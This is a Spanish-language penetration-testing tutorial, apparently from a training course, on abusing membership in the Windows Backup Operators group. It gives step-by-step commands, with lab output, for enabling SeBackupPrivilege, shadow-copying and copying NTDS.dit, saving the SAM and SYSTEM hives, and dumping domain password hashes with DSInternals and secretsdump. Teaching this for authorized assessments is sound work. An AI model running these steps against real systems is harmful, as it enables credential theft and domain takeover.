Saltar a contenido

Windows Built-in Groups

Como se menciona en la sección Windows Privileges Overview, los servidores de Windows, y especialmente los Domain Controllers, tienen una variedad de grupos integrados que vienen con el sistema operativo o se agregan cuando se instala el rol de Active Directory Domain Services en un sistema para promover un servidor a un Domain Controller. Muchos de estos grupos otorgan privilegios especiales a sus miembros, y algunos pueden ser utilizados para escalar privilegios en un servidor o un Domain Controller. Aquí hay una lista de todos los grupos integrados de Windows junto con una descripción detallada de cada uno. Esta página tiene una lista detallada de cuentas y grupos privilegiados en Active Directory. Es esencial entender las implicaciones de la membresía en cada uno de estos grupos, ya sea que obtengamos acceso a una cuenta que sea miembro de uno de ellos o notemos membresías excesivas/innecesarias en uno o más de estos grupos durante una evaluación. Para nuestros propósitos, nos enfocaremos en los siguientes grupos integrados. Cada uno de estos grupos existe en sistemas desde Server 2008 R2 hasta el presente, excepto Hyper-V Administrators (introducido con Server 2012).

Las cuentas pueden asignarse a estos grupos para imponer el principio de menor privilegio y evitar crear más Domain Admins y Enterprise Admins para realizar tareas específicas, como respaldos (backups). A veces, las aplicaciones de proveedores también requerirán ciertos privilegios, que pueden otorgarse asignando una cuenta de servicio a uno de estos grupos. Las cuentas también pueden agregarse por accidente o quedar después de probar una herramienta o script específico. Siempre debemos revisar estos grupos e incluir una lista de los miembros de cada grupo como un apéndice en nuestro informe para que el cliente revise y determine si el acceso sigue siendo necesario.

Grupo Grupo Grupo
Backup Operators Event Log Readers DnsAdmins
Hyper-V Administrators Print Operators Server Operators

Backup Operators

Después de aterrizar en una máquina, podemos usar el comando whoami /groups para mostrar nuestras membresías actuales en grupos. Examinemos el caso donde somos miembros del grupo Backup Operators. La membresía de este grupo otorga a sus miembros los privilegios SeBackup y SeRestore. El SeBackupPrivilege nos permite atravesar cualquier carpeta y listar el contenido de la carpeta. Esto nos permitirá copiar un archivo desde una carpeta, incluso si no hay una entrada de control de acceso (ACE) para nosotros en la lista de control de acceso (ACL) de la carpeta. Sin embargo, no podemos hacer esto usando el comando de copia estándar. En su lugar, necesitamos copiar los datos de forma programática, asegurándonos de especificar el flag FILE_FLAG_BACKUP_SEMANTICS.

Podemos usar este PoC para explotar el SeBackupPrivilege y copiar este archivo. Primero, importemos las bibliotecas en una sesión de PowerShell.

Importing Libraries

PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\htb> Import-Module .\SeBackupPrivilegeCmdLets.dll

Verifying SeBackupPrivilege is Enabled

Verifiquemos si SeBackupPrivilege está habilitado invocando whoami /priv o el cmdlet Get-SeBackupPrivilege. Si el privilegio está deshabilitado, podemos habilitarlo con Set-SeBackupPrivilege.

Nota: Según la configuración del servidor, puede ser necesario abrir un CMD elevado para evitar UAC y tener este privilegio.

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\htb> Get-SeBackupPrivilege

SeBackupPrivilege is disabled

Enabling SeBackupPrivilege

Si el privilegio está deshabilitado, podemos habilitarlo con Set-SeBackupPrivilege.

PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege

SeBackupPrivilege is enabled
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Copying a Protected File

Como podemos ver arriba, el privilegio se habilitó con éxito. Este privilegio ahora puede ser aprovechado para copiar cualquier archivo protegido.

PS C:\htb> dir C:\Confidential\

    Directory: C:\Confidential

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         5/6/2021   1:01 PM             88 2021 Contract.txt


PS C:\htb> cat 'C:\Confidential\2021 Contract.txt'

cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
   izedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
PS C:\htb> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Copied 88 bytes


PS C:\htb>  cat .\Contract.txt

Inlanefreight 2021 Contract

==============================

Board of Directors:

<...SNIP...>

Los comandos anteriores demuestran cómo se accedió a información sensible sin poseer los permisos requeridos.

Attacking a Domain Controller - Copying NTDS.dit

Este grupo también permite iniciar sesión localmente en un controlador de dominio. La base de datos de Active Directory NTDS.dit es un objetivo muy atractivo, ya que contiene los hashes NTLM para todos los objetos de usuario y computadora en el dominio. Sin embargo, este archivo está bloqueado y tampoco es accesible para usuarios sin privilegios.

Como el archivo NTDS.dit está bloqueado por defecto, podemos usar la utilidad diskshadow de Windows para crear una copia sombra del disco C y exponerla como disco E. El NTDS.dit en esta copia sombra no estará en uso por el sistema.

PS C:\htb> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

PS C:\htb> dir E:


    Directory: E:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         5/6/2021   1:00 PM                Confidential
d-----        9/15/2018  12:19 AM                PerfLogs
d-r---        3/24/2021   6:20 PM                Program Files
d-----        9/15/2018   2:06 AM                Program Files (x86)
d-----         5/6/2021   1:05 PM                Tools
d-r---         5/6/2021  12:51 PM                Users
d-----        3/24/2021   6:38 PM                Windows

Copying NTDS.dit Locally

A continuación, podemos usar el cmdlet Copy-FileSeBackupPrivilege para evitar el ACL y copiar el NTDS.dit localmente.

PS C:\htb> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Copied 16777216 bytes

Backing up SAM and SYSTEM Registry Hives

El privilegio también nos permite respaldar las colmenas del registro SAM y SYSTEM, de las cuales podemos extraer las credenciales de cuentas locales sin conexión utilizando una herramienta como secretsdump.py de Impacket.

C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.

Vale la pena señalar que si una carpeta o archivo tiene una entrada de denegación explícita para nuestro usuario actual o un grupo al que pertenecen, esto nos impedirá acceder a él, incluso si se especifica el flag FILE_FLAG_BACKUP_SEMANTICS.

Extracting Credentials from NTDS.dit

Con el NTDS.dit extraído, podemos usar una herramienta como secretsdump.py o el módulo de PowerShell DSInternals para extraer todas las credenciales de cuenta de Active Directory. Obtengamos el hash NTLM solo para la cuenta administrator del dominio usando DSInternals.

PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Sid: S-1-5-21-669053619-2741956077-1013132368-500
Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogonDate: 5/6/2021 5:40:30 PM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-669053619-2741956077-1013132368-512
Secrets
  NTHash: cf3a5525ee9414229e66279623ed5c58
  LMHash:
  NTHashHistory:
  LMHashHistory:
  SupplementalCredentials:
    ClearText:
    NTLMStrongHash: 7790d8406b55c380f98b92bb2fdc63a7
    Kerberos:
      Credentials:
        DES_CBC_MD5
          Key: d60dfbbf20548938
      OldCredentials:
      Salt: WIN-NB4NGP3TKNKAdministrator
      Flags: 0
    KerberosNew:
      Credentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 94c300d0e47775b407f2496a5cca1a0a
          Iterations: 4096
        DES_CBC_MD5
          Key: d60dfbbf20548938
          Iterations: 4096
      OldCredentials:
      OlderCredentials:
      ServiceCredentials:
      Salt: WIN-NB4NGP3TKNKAdministrator
      DefaultIterationCount: 4096
      Flags: 0
    WDigest:
Key Credentials:
Credential Roaming
  Created:
  Modified:
  Credentials:

Extracting Hashes Using SecretsDump

También podemos usar SecretsDump sin conexión para extraer hashes del archivo ntds.dit obtenido anteriormente. Estos pueden ser utilizados para pass-the-hash y acceder a recursos adicionales o ser descifrados sin conexión utilizando Hashcat para obtener más acceso. Si se descifran, también podemos presentar al cliente estadísticas de descifrado de contraseñas para proporcionarles una visión detallada de la fortaleza y el uso general de contraseñas dentro de su dominio y proporcionar recomendaciones para mejorar su política de contraseñas (aumentar la longitud mínima, crear un diccionario de palabras no permitidas, etc.).

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

<SNIP>

Robocopy

Copying Files with Robocopy

La utilidad incorporada robocopy también se puede usar para copiar archivos en modo de respaldo. Robocopy es una herramienta de línea de comandos para la replicación de directorios. Se puede usar para crear trabajos de respaldo e incluye características como copiado en múltiples hilos, reintento automático, la capacidad de reanudar la copia y más. Robocopy se diferencia del comando copy en que, en lugar de solo copiar todos los archivos, puede verificar el directorio de destino y eliminar los archivos que ya no están en el directorio de origen. También puede comparar archivos antes de copiarlos para ahorrar tiempo al no copiar archivos que no han cambiado desde la última vez que se ejecutó el trabajo de copia/respaldo.

C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Thursday, May 6, 2021 1:11:47 PM
   Source : E:\Windows\NTDS\
     Dest : C:\Tools\ntds\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

          New Dir          1    E:\Windows\NTDS\
100%        New File              16.0 m        ntds.dit

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         0         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           356962042 Bytes/sec.
   Speed :           20425.531 MegaBytes/min.
   Ended : Thursday, May 6, 2021 1:11:47 PM

Esto elimina la necesidad de cualquier herramienta externa.